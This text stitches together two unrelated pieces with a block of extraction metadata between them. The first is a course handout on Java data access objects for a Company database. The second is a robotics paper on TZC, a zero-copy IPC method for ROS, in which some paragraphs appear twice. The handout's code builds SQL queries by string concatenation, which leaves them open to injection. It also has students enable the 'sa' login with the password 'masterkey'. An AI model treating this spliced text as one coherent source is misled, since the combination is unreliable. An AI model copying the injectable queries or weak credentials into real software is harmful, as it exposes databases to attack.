Data access objects (DAO) de-couple the business objects from the database access code – the database access is encapsulated. Typically there is one data-class for each business object. This class contains all the SQL-code for the access to the database for that business object.
The advances are that there is no longer a direct connection to the database from the business object classes.
Persistence Framework
A persistence framework (PF) often referred to as the persistence layer, encapsulates the database access completely. Instead of writing code which implements the logic for the database access, you
have to define the meta data that represents the transformation from the object model to the relational model. We shall not investigate this on the second semester.
**Choosing an Implementation Strategy for OO – RDB mapping**
Since the business objects will have to know all the details of how the database is constructed, the Brute Force strategy yields code which has low cohesion and high coupling.
The Data Access Objects removes this need for knowledge of database details from the business objects. The database code is encapsulated in the DAOs, so business objects are de-coupled from database access. But you have to write a data access class for each business object.
A persistence framework will handle the implementation of the mapping without extra code, but you will have to get and install a framework and provide meta data to the framework.
Brute Force is not an option, since it will give very badly designed code with low cohesion and high coupling and therefore a system that is hard to maintain.
We choose to implement a simple and dedicated example that shows how a mapping layer between the object model and the relational model can be implemented. This solution is close to the Data Access Object approach and represents a good design that is easy to understand.
**The Case: The Company Database**
The example is the well-known Company example from the textbook [Elmasri].

**Figure 1**: *class diagram Company model layer.*
The relational model
The relational model is given in [Elmasri] fig. 3.7 (6th edition) (5.7 5th edition) which is known from the classes on databases.
The Layered Architecture
We choose a classic layered architecture:
<table>
<thead>
<tr>
<th>User interface layer</th>
</tr>
</thead>
<tbody>
<tr>
<td>Control layer</td>
</tr>
<tr>
<td>Model layer</td>
</tr>
<tr>
<td>Database Transformation Layer</td>
</tr>
</tbody>
</table>
The control layer contains the classes that control the use cases; that is controlling business logic. The user interface layer classes are responsible for input/output from and to the user and simple validations.
We choose an open architecture, so that model layer classes are used in communication between the control layer and the user interface layer.
The database transformation layer contains the DB-classes (Data access objects), which are responsible for communication with the database and building objects in the model layer. It also supports CRUD-operations.
In this example we only implement one user interface class and only one class in the control layer.
The role of the database transformation layer of the architecture is to hide database-specific implementation details; this makes it possible to make changes in the database design and even shift to another DBMS without having to make changes in the rest of the application.
Model layer objects are build in the user interface layer, which calls the control layer and passes the objects to the control layer. Then the control layer calls the database transformation layer and passes the objects on to the relevant database classes. The database transformation layer will then save the information in the database. Or the other way: A request is passed along from the user interface layer to the control layer. The control layer passes on the request to the relevant database classes, which handles the database queries and build the model objects. These objects are eventually sent from the database transformation layer via the control layer to the user interface layer.
The layered architecture is explicit in the implementation (traceability), because each layer is implemented as a Java package.
The User Interface Layer
The responsibility for the layer is to communicate with the user. The user interface is implemented in the package `GUILayer`. In this example only one class is implemented.
The Model Layer
The model layer is implemented using object-oriented principles. This implies that the associations and aggregations are implemented using object references. This layer is implemented in the package `ModelLayer`.
`Java.util.ArrayList` is used when there are multiple object references. Other solutions could be considered.
The Database Transformation Layer
This is the layer that has been in focus when designing the example-application. Everything necessary to access to the database is implemented in this layer. This encapsulation makes it simpler to make changes to the database.
The following design decisions have been made for the database transformation layer:
- There is one DB-class for each model class (`DBEmployee, DMWorksOn`...).
- Each DB-class is responsible for the handling the persistence of the objects of the corresponding model class.
- The DB-classes are responsible for searching, updating, deleting and inserting in the database.
- The DB-classes are responsible for handling associations and aggregations between objects in the model layer.
Java Interfaces
For each DB-class an interface is made. The interface class defines the methods which are implemented in the DB-classes. The interface classes are named `IFXxx`.
```java
public interface IFDBEmp {
// get all employees
public ArrayList<Employee> getAllEmployees(boolean retrieveAssociation);
// get one employee having the ssn
public Employee findEmployee(String empssn, boolean retrieveAssociation);
// find one employee having the name
public Employee searchEmployeeFname(String fname, boolean retrieveAssociation);
public Employee searchEmployeeLname(String lname, boolean retrieveAssociation);
public Employee searchEmployeeSsn(String ssn, boolean retrieveAssociation);
// insert a new employee
public int insertEmployee(Employee emp);
// update information about an employee
public int updateEmployee(Employee emp);
}
```
These methods makes it possible to search for all information about employees, search on primary key, on name and to update employee information. The methods for update and insert all returns an
int (row count) telling how many rows in the table that were affected. If -1 is returned, an error has occurred.
The Connection to the Database
The class DBConnection establish the connection to the database via an ODBC-driver. The class is implemented as a Singelton, since we only need one connection to the database.
DB-classes
The DB-classes retrieve an object and its associated objects from the database and build the object. If it is an insert or update the information in the object is put into the right tables in the database. Depending on the visibility of the objects in the object model a retrieving can create a greater or minor chain reaction. If there are many associated objects to be found, it can create some performance problem. The solution is problematic, if there are circular references in the model or double visibility between two objects.
In the solution the problem is solved by adding a boolean parameter (retrieveAssociation) to the search methods in the DB-layer, if the parameter is true the associations will be build. If not, the object will be build without the references. Meaning the references in the object will hold a null value.
A simple solution could be to take the foreign key up in the model layer instead of the references to the object. But this is not an option since we want the model layer to be object oriented.
The database transformation layer doesn’t handle caching of objects. The objects will be read from the database when they are needed.
The database transformation layer is not born to handle statistic queries, where the answer maybe summing attributes. Neither is it good at handling queries that join many tables. The solution could be to make suitable views in the database for the queries and the make db-classes for the views.
The implementation
The relational model can be implemented as a MS SQL server database by running the scripts in the folder CompanySQLScript. (You already did that during the previous sessions).
Implementation of the Model Layer
The model layer is implemented with the visibility show in the design class diagram. The visibility between the classes Employee and Department goes both ways the same holds for the visibility between Employee and WorksOn.
Implementation of the Database Transformation Layer
The DB classes (DBEmployee, DBWorksOn...) implement their own interface. This way the classes are forced to implement the methods from the interface. They are implementing the methods by
using SQL. The classes also have some private methods that a generally used for the access to the database and when building the objects.
The embedded SQL-statements are build as a string object. The string object is send to the runtime compiler for syntax check of the SQL-command; if the syntax is ok the statement is executed. Only one SQL-statement is executed at the time.
Two private methods are used for the search in the database those are:
- `singleWhere` – when we expect only one row in the resultset
- `miscWhere` – when we expect more than one row in the resultset
Both of those take as a parameter a string containing the where clause (wClause)
```java
private Employee singleWhere(String wClause)
```
returns a single employee object
```java
private ArrayList<Employee> miscWhere(String wClause)
```
returns an ArrayList containing all the employee objects fulfilling the where clause.
Comments to the SQL-Commands: In the DB—classes the program refers to the column number in the tables of the relational database. It would be better programming, if it was the column names. At the moment the DB-classes are depending on the order of the columns. If a new column is added or the orders of the columns are changed the program will fail. Furthermore the select * are used instead of referring to the column names. You should always name the columns you want from the database.
### Implementation of a Many-to-One Association in the Database Layer
The implementation of a many-to-one association in the database layer is here explained using the association between Employee (Employee) and Employee (Supervisor) as example. In the model layer the object Employee, has an attribute:
```java
private Employee supervisor;
```
When the Employee is selected from the database, there is a possibility to get the information about the supervisor as well. The supervisor is also an object of the class Employee. The following is the code from the method singleWhere in the class DBEmployee
```java
if(retrieveAssociation)
{ //The supervisor and department is to be build as well
String superssn = empObj.getSupervisor().getSsn();
Employee superEmp = singleWhere(" ssn = '" + superssn + "'",false);
empObj.setSupervisor(superEmp);
System.out.println("Supervisor er hentet");
}
```
If we want to build the association, the boolean retrieveAssociation is true and we enter the if block. The supervisors ssn is taken out of the empObj and is used as input parameter to a call to
singleWhere. In the call to singleWhere the parameter retrieveAssociation is set to false, since we don’t want the supervisors, supervisor.
```java
Employee superEmp = singleWhere(" ssn = "+superssn + "'",false);
```
### Building More Than One Object
If you want to select for instance all the projects that an employee works on, it is the private method `miscWhere` in `DBWorksOn` that is used. The method gets as input parameter the where condition and the parameter retrieve association (true if the association has to be build as well).
In the following example all the projects that an employee works on are selected and for each project the name of the project is selected from the project table, if the parameter retrieveAssociation is true.
```java
private ArrayList<WorksOn> miscWhere(String wClause, boolean retrieveAssociation) {
ResultSet results;
ArrayList<WorksOn> list = new ArrayList<WorksOn>();
String query = buildQuery(wClause);
System.out.println("DBWorkson" + query);
try { // read from workson
Statement stmt = con.createStatement();
stmt.setQueryTimeout(5);
results = stmt.executeQuery(query);
System.out.println("DBWorkson 2");
int snr=0;
while( results.next() ){
WorksOn worksObj = new WorksOn();
worksObj = buildWorksOn(results);
list.add(worksObj);
//end while
stmt.close();
if(retrieveAssociation)// for each workson object find the project name
{
IFDBProject dbProject = new DBProject();
for(WorksOn wobj : list)
{
int pnumber = wobj.getProject().getPnumber();
Project pobj = dbProject.findProject(pnumber);
wobj.setProject(pobj);
}
}
//slut try
} catch(Exception e) {
System.out.println("Query exception - select: "+e);
e.printStackTrace();
}
return list;
} //end miscWhere
```
### The Case as Inspiration
The implemented example can be used as inspiration for the second semester projects architecture. The DB-classes can be re-used.
From earlier second semester projects we know it can be a good idea first to focus on implementing one DB-class for each class in the model layer, where the CRUD operations are implemented to the database, and then test that they are working. First when the connection to the database and the select from the database is functioning correct, you start focusing on the user interface layer.
Another good idea is to put in print of the SQL-commands that are executed in the programs. If there is an error you have the possibility to cut the printed statement and paste into the query window in MS SQL and execute the command there to find the error. It may also be a good idea to test the SQL commands in the interactive SQL Server Management tool before embedding them into your Java program.
For each class in the model layer, a class in the database layer is made. The class in the database layer has to handle the transformation from objects to tables in the database and from tables in the database to objects.
**Executing the Company Example**
In order to run the described programs, the database company has to be created. Furthermore the SQL-server has to be installed and set to run in mix-mode authorization.
**Set your SQL Server to Mix-Mode Authorization:**
Start up the SQL Management Studio
Right click on your server and choose properties and choose security.
Persistence
Choose the SQL server and Windows Authentication mode.
Check also that the login sa is enabled
Right klik on the login sa choose properties
Check that the login is enabled
And that the database is Company and the password has to be masterkey.
You have to stop and restart the server; this is done by starting up the program SQL Server configuration manager.
Right click on the SQL Server Services, right click on the SQL Server to stop it and after that start it up again.
Create the Company Database
The database is created with the sql-scripts (you did that in session 1).
Executing the Program
Open the project CompanyCode1, in Eclipse. Build the project. Check that the jarfile swing-layout-1.01.jar and sgljdbc4.jar are imported. If not import them. See next page.
Persistence
Right click on the project, chose build path, chose External Archive add swing-layout and sqljdbc4 to the libraries
If there are problems, it may be because you have not enabled the TCP/IP and the VIA. They are enabled in the SQL server configuration manager.
And check that the TCP/IP properties, IPALL, TCP Dynamic Ports are 1433, which is default.
Be sure that the SQL server is running
References:
**Larman**: Applying UML and Patterns, second edition.
**Fowler**: Patterns of Enterprise Application Architecture.
**Ambler**: Encapsulating Database Access.
**SQL-scripts and Source Code**
*CompanySQLScripts*
The SQL scripts that create the database and populate it with the sample data know from the textbook.
*CompanyCode1*
The Java source that accesses the Company database.
|
{"Source-Url": "https://www.ucviden.dk/portal/files/10871508/PersistensArchitecture.pdf", "len_cl100k_base": 4196, "olmocr-version": "0.1.53", "pdf-total-pages": 16, "total-fallback-pages": 0, "total-input-tokens": 33577, "total-output-tokens": 4938, "length": "2e12", "weborganizer": {"__label__adult": 0.0003612041473388672, "__label__art_design": 0.0003027915954589844, "__label__crime_law": 0.00027060508728027344, "__label__education_jobs": 0.001898765563964844, "__label__entertainment": 4.476308822631836e-05, "__label__fashion_beauty": 0.0001207590103149414, "__label__finance_business": 0.0001817941665649414, "__label__food_dining": 0.00034737586975097656, "__label__games": 0.0004317760467529297, "__label__hardware": 0.0005712509155273438, "__label__health": 0.0003161430358886719, "__label__history": 0.000179290771484375, "__label__home_hobbies": 7.390975952148438e-05, "__label__industrial": 0.0003323554992675781, "__label__literature": 0.0002090930938720703, "__label__politics": 0.00016486644744873047, "__label__religion": 0.0004096031188964844, "__label__science_tech": 0.003917694091796875, "__label__social_life": 8.994340896606445e-05, "__label__software": 0.0034847259521484375, "__label__software_dev": 0.9853515625, "__label__sports_fitness": 0.0002567768096923828, "__label__transportation": 0.0004673004150390625, "__label__travel": 0.00018215179443359375}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 22932, 0.00646]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 22932, 0.65863]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 22932, 0.81822]], "google_gemma-3-12b-it_contains_pii": [[0, 1224, false], [1224, 1329, null], [1329, 4379, null], [4379, 6700, null], [6700, 8180, null], [8180, 10313, null], [10313, 12692, null], [12692, 15185, null], [15185, 17698, null], [17698, 19903, null], [19903, 21284, null], [21284, 21472, null], [21472, 22073, null], [22073, 22439, null], [22439, 22478, null], [22478, 22932, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1224, true], [1224, 1329, null], [1329, 4379, null], [4379, 6700, null], [6700, 8180, null], [8180, 10313, null], [10313, 12692, null], [12692, 15185, null], [15185, 17698, null], [17698, 19903, null], [19903, 21284, null], [21284, 21472, null], [21472, 22073, null], [22073, 22439, null], [22439, 22478, null], [22478, 22932, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 22932, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 22932, null]], "pdf_page_numbers": [[0, 1224, 1], [1224, 1329, 2], [1329, 4379, 3], [4379, 6700, 4], [6700, 8180, 5], [8180, 10313, 6], [10313, 12692, 7], [12692, 15185, 8], [15185, 17698, 9], [17698, 19903, 10], [19903, 21284, 11], [21284, 21472, 12], [21472, 22073, 13], [22073, 22439, 14], [22439, 22478, 15], [22478, 22932, 16]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 22932, 0.02041]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
93f9c28f259e009c86d964375b8c64b0422775dd
|
TZC: Efficient Inter-Process Communication for Robotics Middleware with Partial Serialization
Yu-Ping Wang¹, Wende Tan¹, Xu-Qiang Hu¹, Dinesh Manocha², Shi-Min Hu¹
Abstract—Inter-process communication (IPC) is one of the core functions of modern robotics middleware. We propose an efficient IPC technique called TZC (Towards Zero-Copy). As a core component of TZC, we design a novel algorithm called partial serialization. Our formulation can generate messages that can be divided into two parts. During message transmission, one part is transmitted through a socket and the other part uses shared memory. The part within shared memory is never copied or serialized during its lifetime. We have integrated TZC with ROS and ROS2 and find that TZC can be easily combined with current open-source platforms. By using TZC, the overhead of IPC remains constant when the message size grows. In particular, when the message size is 4MB (less than the size of a full HD image), TZC can reduce the overhead of ROS IPC from tens of milliseconds to hundreds of microseconds and can reduce the overhead of ROS2 IPC from hundreds of milliseconds to less than 1 millisecond. We also demonstrate the benefits of TZC by integrating with TurtleBot2 that are used in autonomous driving scenarios. We show that by using TZC, the braking distance can be shortened by 16% than ROS.
I. INTRODUCTION
Robotics software systems have complex architectures and they are organized into modules. In modern operating systems, processes are used to provide isolation and resource management methods. Running each module as a separate is a common and reliable method to manage these modules. Meanwhile, modules must exchange information with each other. For example, a simultaneous localization and mapping (SLAM) module may obtain information from cameras, lasers, or sonar modules and provide calibrated maps to other modules such as visualization and navigation. Therefore, inter-process communication (IPC) is one of the core functions of robotics middleware.
Most robotics middleware, such as ROS [1], employs socket-based IPC methods [2] because they provide a unified abstraction of whether different processes are running on the same computational device or on separate devices. However, the performance is not satisfying when transmitting large messages to multiple receivers (or subscribers). Maruyama et al. [3] reported detailed performance evaluations for ROS and ROS2. They showed that the communication latency increases nearly linearly with the growth of the message size. To be specific, with large data such as 4MB, the median latency of ROS local communication was about 3ms and that of ROS2 local communication was about 10ms. Things got significantly worse when there are multiple subscribers. For the case of 1MB data and 5 subscribers, the median latency of ROS2 was about 80ms. The performance of ROS2 is worse than that of ROS because ROS2 employs DDS technique [4] to provide QoS feature, but the message formats of DDS and ROS2 are not unified and the translation procedure cost more time.
The main causes of this high latency are copying and serialization operations. For example, if a robot is designed to help people find desired objects, images are captured by the camera module and provided to facial recognition and object recognition modules. In this scenario, the data flow when using ROS is shown in Figure 2. Each Image message captured by the camera node is (a) serialized into a buffer; (b) copied into the operating system kernel; (c) copied to the destination process; and (d) de-serialized into an Image message. With the wide application of high-resolution cameras and LiDAR sensors, these operations results in high latency. The communication latency from the camera module to the other modules is over 20ms with ROS when the images are 1920x1080x24 bits. This latency will directly affect the response time and the user experience. For latency-sensitive robotics systems such as autonomous driving or real-time navigation in crowded scenarios, we need lower
Then we highlight the experimental results in Section IV.
We have integrated TZC with ROS and ROS2. We also demonstrate its benefits using robotics applications by porting it on TurtleBot2 to perform some tasks, shown in Figure 1. In this application, the TurtleBot moves forward at a uniform speed and starts braking when a red light is recognized by a 1080p camera. We observe that the braking distance is shortened by 16% by TZC comparing with ROS.
This paper is organized as follows. In Section II, we give an overview of prior work on robotic systems and inter-process communication. In Section III, we introduce the design and implementation of the TZC framework in detail. Then we highlight the experimental results in Section IV.
Main Results: In this paper, we present an efficient IPC technique called TZC (Towards Zero-Copy) for modules that run on the same machine. As a core component of TZC, we design an algorithm called partial serialization. Our formulation can generate robotics message types that can be divided into two parts. During message transmission, one part is transmitted through a socket and the other part is stored within shared memory. Our partial serialization algorithm automatically separates data that are suitable for shared memory, which are also the major part of the message. As a result, TZC can provide the following benefits:
- **Zero-copied messages.** With the help of the partial serialization algorithm and a shared memory IPC method, most of the message is never copied or moved to other places during its lifetime. This feature causes the communication latency to remain constant when the message size grows, which is good for large message transmission.
- **Publish-subscribe pattern.** This pattern is commonly used by robotics middleware and is proven to be scalable for scenarios with multiple senders and receivers (collective communication). TZC also employs this pattern and potentially enables the portability of robotic modules.
- **Compatible synchronization.** By employing a socket-based method, TZC subscribers can be notified when a new message arrives by using compatible select/poll notification interfaces.
- **Platform portability.** TZC is based on POSIX shared memory and socket and is therefore portable among POSIX-compatible operating systems such as Linux, macOS, VxWorks, QNX, etc.
We have integrated TZC with ROS and ROS2. We also demonstrate its benefits using robotics applications by porting it on TurtleBot2 to perform some tasks, shown in Figure 1. In this application, the TurtleBot moves forward at a uniform speed and starts braking when a red light is recognized by a 1080p camera. We observe that the braking distance is shortened by 16% by TZC comparing with ROS.
This paper is organized as follows. In Section II, we give an overview of prior work on robotic systems and inter-process communication. In Section III, we introduce the design and implementation of the TZC framework in detail. Then we highlight the experimental results in Section IV.
A. Latency in Robotic Systems
Latency is a concern for many robotic applications. Many techniques have been proposed to reduce the latency in different modules of the Micro Aerial Vehicles (MAV). Oleynikova et al. [5] focus on obstacle avoidance and use FPGAs to achieve low latency. Xu et al. [6] focus on 3D navigation and uses Octrees to optimize the path planning module. Honegger et al. [7] has developed a stereo camera system with FPGAs. Cizek et al. [8] also aim to reduce the latency of the vision-based mobile robot navigation system. All these methods focus on reducing the latency of computer vision algorithms, either by software optimizations or hardware accelerations.
B. IPC Methods in Robotics Middleware
Most robotics middleware employs socket-based IPC methods [2]. The socket interface is designed to communicate between processes, regardless of whether they are on the same machine or not [9]. When processes are running on the same hardware, a NIC-level loopback is used without any network transmission. Common socket is a point-to-point style communication interface. To support collective communication efficiently, multi-path protocols are employed [10][11][12]. Recently, with the development of ROS2, there have been big changes within the communication layer [13][14]. A similar problem is solved by employing QoS and DDS techniques [4]. However, because ROS2 is still in development, there are still performance issues that need to be improved [3]. Even with multi-path protocols, the transmitted buffer must be copied multiple times throughout middleware and kernel levels, which has an adverse effect on communication latency.
Shared memory methods provide promising solutions for eliminating copying operations. Shared memory allows two or more processes to share a given region of memory, which is the fastest form of IPC because the data does not need to be copied [15]. Many message transport frameworks have been developed in [16], including a shared-memory-based transport. In this framework, a message is directly serialized into shared memory by the publisher, and de-serialized from shared memory by the subscriber(s). As a result, these researchers report a speedup about two-fold over ROS because the copying operations are eliminated but the serialization operations remain. Ach [17] provides a communication channel by wrapping shared memory as a device file. It can solve the Head-of-Line Blocking problem, which makes it suitable for robotic scenarios. It is integrated to multiple robots such as Golem Krang [18] and Aldebaran NAO [19]. It is also employed by the RTROS project [20]. We will compare our TZC framework with Ach in Section IV.
In addition to the standardized IPC interface mentioned above, other methods have been designed for new kernel assistant IPC methods [21][22][23][24][25]. Most of these methods are designed for high performance computing and
emphasize throughput rather than latency. Moreover, these methods are not POSIX compatible and are therefore not commonly used by robotics middleware.
We summarize the above methods with respect to the number of copying and serialization operations in Table I. In the table, the numbers of copying and serialization operations are associated with the number of subscribers \( \text{sub} \). As we can see, shared-memory-based middleware are generally better than socket-based middleware in this respect and TZC successfully reduced the number of these operations to zero.
<table>
<thead>
<tr>
<th>IPC Method</th>
<th>Middleware</th>
<th>No. of copying and serialization operations</th>
</tr>
</thead>
<tbody>
<tr>
<td>Socket</td>
<td>ROS [1]</td>
<td>(1 + 3 \times \text{sub} )</td>
</tr>
<tr>
<td>Socket</td>
<td>LCM [10]</td>
<td>(2 + 2 \times \text{sub} )</td>
</tr>
<tr>
<td>Socket</td>
<td>ROS2 [13]</td>
<td>(3 + 3 \times \text{sub} )</td>
</tr>
<tr>
<td>Shared Memory</td>
<td>ETHZ-ASL [16]</td>
<td>(1 + 1 \times \text{sub} )</td>
</tr>
<tr>
<td>Shared Memory</td>
<td>Ach [17]</td>
<td>(1 + 1 \times \text{sub} )</td>
</tr>
<tr>
<td>Combined</td>
<td>TZC</td>
<td>(0 + 0 \times \text{sub} )</td>
</tr>
</tbody>
</table>
### C. Serialization Methods
Most of the fundamental frameworks above are designed for general buffer transmission. When applied to robotic scenarios, semantic messages must be serialized before transmission.
Serialization is a traditional technique [26] that transforms abstract data types into byte buffers for communication or persistent storage. Many frameworks and programming languages such as JSON [27] and Protocol Buffers [28] support automatic serialization. ROS and DDS employ their own serialization methods. Even for shared memory IPC, messages usually must be serialized before being copied to shared memory due to the usage of pointers. Libraries such as Boost [29] help programmers handle pointers within shared memory. However, supporting subtype polymorphism still requires compile-time modifications [30].
Because serialization keeps all the information from the original message, the running time overhead of serialization is at least the same as that of the copy operation. As far as we know, for latency-sensitive applications, the only existing efficient solution that can avoid serialization is intra-process communication such as ROS nodelet [31] and ROS2 intra-process communication [32]. Under these mechanisms, different modules run within the same process rather than in separate processes. Therefore, messages can be directly accessed by other modules without copying or serialization operations. However, the obvious drawback of intra-process communication is fault isolation. Since all modules run within the same process, when any module crashes, the entire system crashes. In Section IV, we will show that, by eliminating the copy operation and employing partial serialization, our TZC technique performs comparable to inter-process communication.
### III. The TZC IPC Framework
In this section, we present our TZC IPC framework. In our method, we divide each message into two parts: the control part and the data part. The control part is relatively small and is transmitted through a socket-based IPC method after serialization. The data part is much larger and is shared through shared memory. Thus, the control part provides the compatible synchronization mechanism and the data part provides the zero-copy feature. Figure 3 shows the overall architecture of the TZC IPC framework.

The ROS communication framework can be seen as a special case of TZC in which the control part contains the whole message and the data part is empty. The whole message is serialized and transmitted through the socket. The ROS framework causes multiple copying and serialization operations. The ETHZ-ASL shared memory framework [17] can also be seen as a special case of TZC in which the data part contains the whole message and the control part is a 32-bit handle. The ETHZ-ASL framework eliminates copying operations, but multiple serialization operations remain. This is because the whole message is too complicated to be shared within shared memory without serialization. Therefore, the key of the TZC IPC framework is to distinguish which part belongs to the data part. We design a novel partial serialization algorithm to distinguish them.
#### A. Partial Serialization Algorithm
Our algorithm is a part of the Message Type Generator (in Figure 3). It has three main purposes. First, it decides which part of the message belongs to the control part. Second, it generates the serialization routine. Third, it organizes the data part.
Our main insight is that the memory structure of a fixed-length message is the same as that of the corresponding serialized message. Therefore, we can organize all variable-length arrays of fixed-length types within shared memory without serialization.
The partial serialization algorithm is shown in Figure 4. It is a DFS-like algorithm, which recursively parses the message type definition tree. All variable-length arrays of fixed-length types are identified and classified into the data part and all other elements are classified into the control part.
For example, if our goal is to generate a point cloud message type using the ROS `PointCloud.msg` definition shown in Figure 5. The `header` element belongs to the control part because it is a variable-length type; the `points` element belongs to the data part because it is a variable-length array of a fixed-length type `Point32`; the `channels` element belongs to the control part because it is a variable-length array of a variable-length type `ChannelFloat32`; but inside each element of `channels`, the `values` element belongs to the data part. As a result, the `PointCloud` message type contains a special vector `points` of `Point32`, which points to the `points` area within the data part, and a vector `channels` of `ChannelFloat32`, which contains multiple `values`, which point to the corresponding `values` area within the data part. In this way, the data part is organized as a single buffer within shared memory and the control part can access the message information in the same in the same manner as accessing a ROS message.
After running the partial serialization algorithm, a serialization routine is generated. In this routine, elements in the `ctrl` list are serialized sequentially and then the lengths of each of the elements in the `data` list are serialized sequentially. Note that the actual content of the elements in the `data` list does not participate in serialization. This is a key feature of our partial serialization algorithm. In addition, a memory organization routine is also generated. In this routine, the offset of each element is calculated with the length of each element in the `data` list and these offsets are used to generate pointers in the control part that point to the corresponding area within the data part. These two routines are used within the TZC IPC framework and are not exposed to application developers. We will explain their usage in the next subsection.
Our algorithm still has one limitation. All basic types of ROS are fixed-length types, except for `string`. Our algorithm handles all variable-length arrays of fixed-length types, but it cannot handle variable-length arrays of strings. However, this is not a serious issue in practice, as we will show in Section IV.
### B. TZC Usage Pattern and Explanation
Figure 6 shows a general TZC usage pattern. It is very similar to the tutorial ROS node\(^1\). The concepts of `Node`, `Publisher`, `Subscriber`, `advertise`, `subscribe`, and `callback` are borrowed from ROS. The small difference visible on the interface is borrowed from the MPI [33]. We would like to explain what happens under this usage pattern.
---
\(^1\)http://wiki.ros.org/ROS/Tutorials/WritingPublisherSubscriber%28c%2B%2B%29
created with respect to the newly added mem_size parameter, which decides the total size of the shared memory region. In this example, an Image message is created (line 3) and published (line 8) in the same way as it would be in ROS. However, within the publish method, the serialization routine generated by our partial serialization algorithm is called and only the control part is transmitted. Also note that at line 3, the newly created message only has the control part. The data part is created by calling a newly added allocate method (line 5). The size of the data part is calculated with the associated data size, which must be assigned before allocation (line 4). If the allocation succeeds, the memory organization routine generated by the partial serialization algorithm is called to fill the associated pointers in the control part. Otherwise, if the allocation fails, we try to release some unused data parts of the older messages (see the next subsection). If this attempt also fails, the failure is reported to the application developer and the developer can handle this situation (line 6). At the subscriber side, the usage pattern is exactly the same as that of ROS. However, when a control part arrives, the memory organization routine generated by our partial serialization algorithm is called before the message is provided as an argument of the registered callback function (line 1). Within the callback function (line 2), the developer could perform any task needed to complete the desired functionality of the module, such as facial recognition or object recognition.
During the whole message lifetime, the data part remains in the shared memory without any copying or serialization operations. This is the key that results in the reduced latency using TZC. We show the results in Section IV.
C. Publication Policies
When an allocation failure occurs in the allocate method, there are several reasonable ways to handle, which show different publication policies.
1) Best effort. Under this policy, the allocate method will repeatedly release non-referenced data parts, until there is enough memory space or nothing could be released anymore. New messages are always prior to old messages, which may provide better real-time feature. This is also one of the design principle of Ach. This policy is suitable for most scenarios when older messages have lower value.
2) Worst effort. Under this policy, if the allocate method finds that an old message is still in use, the new message is discarded. This policy is designed considering that if an old message is being used, the following newer messages will be used in the future even if the reference count is 0 currently. This policy is suitable to maintain the continuity of messages as long as possible, such as audio messages.
3) Medium effort. Under this policy, the allocate method will try to release non-referenced data parts several times. The maximum number of attempts is a pre-defined value. This value should not be 0, because this is the only time when TZC really releases the data part of a message. This policy is a compromise of the 1) and 2).
4) Blocking. The allocate method will be blocked until the oldest message is not in use. This policy is not implemented, because it will cause severe synchronization issues and potentially considerable latency.
Our current implementation follow the Best effort policy, but it is easy to change the policy to adapt actual situations.
IV. Evaluation
In this section, we show our benchmark results and applications of TZC. The benchmark experiments are performed on a Lenovo ThinkPad E440 laptop with Intel Core i5-4200M @2.5GHz processor (2 cores, 4 threads) and 8GB memory. The applications are built on the commonly used TurtleBot2 with the same laptop as the computational device and an ASUS Xtion PRO as the input sensor. The ROS version is Indigo on Ubuntu 14.04.
A. Performance
Two key factors significantly affect the communication latency, i.e., the message size and the number of subscribers. For clarity, we generate 8 test cases by changing the message size from 4KB to 4MB and the number of subscribers from 1 to 8. For each test case, the publisher generates a message, records a time stamp in the message, and publishes the message to the subscriber(s). Each subscriber will record the latency and discard the message after receiving each message. This procedure is repeated 1000 times at 25 Hz.
For better comparison, we organize the results into three groups of box plot figures, shown in Figure 7. The horizontal axis shows a different test case and the vertical axis shows the communication latency in logarithmic coordinates.
In the first group, we integrate TZC with ROS to produce TZC-ROS. As we can see, the latency of ROS increases when the message size grows and the number of subscribers increases. After using TZC, the message size no longer affects the latency because of the zero-copy feature. In the test case involving a 4MB message and 8 subscribers, the mean latency of TZC-ROS is still under 1ms, which outperforms ROS by two orders of magnitude.
In the second group, we integrate TZC with ROS2 to produce TZC-ROS2. As we can see, the latency of ROS2 becomes higher when the message size grows and remains stable when the number of subscribers increases. This is because of the DDS middleware. In the test case involving a 4MB message and 8 subscribers, the mean latency of TZC-ROS2 outperforms ROS2 by three orders of magnitude.
Furthermore, we also test the performance of ROS nodelet and ROS2 intra-process communication. The mean latency of TZC-ROS is of the same order of magnitude as ROS nodelet, but the ROS nodelet performs more stably when the number of subscribers increases. Surprisingly, TZC-ROS2 can outperform ROS2 intra-process communication. Maruyama et al. [3] reported similar results, indicating that the ROS2 intra-process communication needs to be improved.
In the third group, we integrate TZC with a Linux / Xenomai / RtNet real-time platform to produce TZC-RT. As we can see, the latency of Ach becomes higher when the message size grows and the number of subscribers increases. When the message size is small, the mean latency of Ach...
Fig. 7. Performance results on benchmarks. Each subscriber will record the latency and discard the message after receiving each message. In the first group, TZC-ROS (blue) outperforms ROS (orange) by up to two orders of magnitude. In the second group, TZC-ROS2 (blue) outperforms ROS2 (orange) by up to three orders of magnitude. In the third group, TZC-RT (blue) outperforms Ach (orange) by up to two orders of magnitude. In addition, TZC-ROS and TZC-ROS2 show comparable results to intra-process communication methods (green).
outperforms TZC-RT by less than one order of magnitude; when the message size is large, the mean latency of TZC-RT outperforms Ach by up to two orders of magnitude.
